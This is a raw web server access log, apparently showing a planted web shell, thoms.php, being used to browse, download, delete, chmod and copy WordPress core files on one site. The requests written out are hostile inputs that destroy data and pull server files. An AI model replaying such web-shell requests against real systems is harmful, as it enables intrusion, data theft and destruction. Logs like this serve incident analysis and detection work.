45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30272 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?chmod=feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?del=class-phpass.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59405 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11917 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /betcity.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17829 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13330 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:59 -0400] "GET /thoms.php?dl=class-wp-post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 58948 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?dl=capabilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26552 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:00 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ficons.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ficons.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /betcity.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?del=http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?del=comment-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12189 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /betcity.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?dl=post-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /betcity.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /betcity.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?chmod=category-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:01 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /betcity.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12620 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?dl=feed-rss2.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /betcity.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fai-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fai-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:02 -0400] "GET /thoms.php?dl=taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /betcity.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?dl=update.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=update.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?chmod=script-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /betcity.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /betcity.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /betcity.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?del=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59451 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:03 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?del=embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59440 "http://163.245.207.76:443/thoms.php?del=embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13055 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?chmod=build&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=build&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?chmod=class-requests.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?del=registration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59450 "http://163.245.207.76:443/thoms.php?del=registration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:04 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcomment-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcomment-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?dl=script-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?del=blocks&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=blocks&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?del=Text&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=Text&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
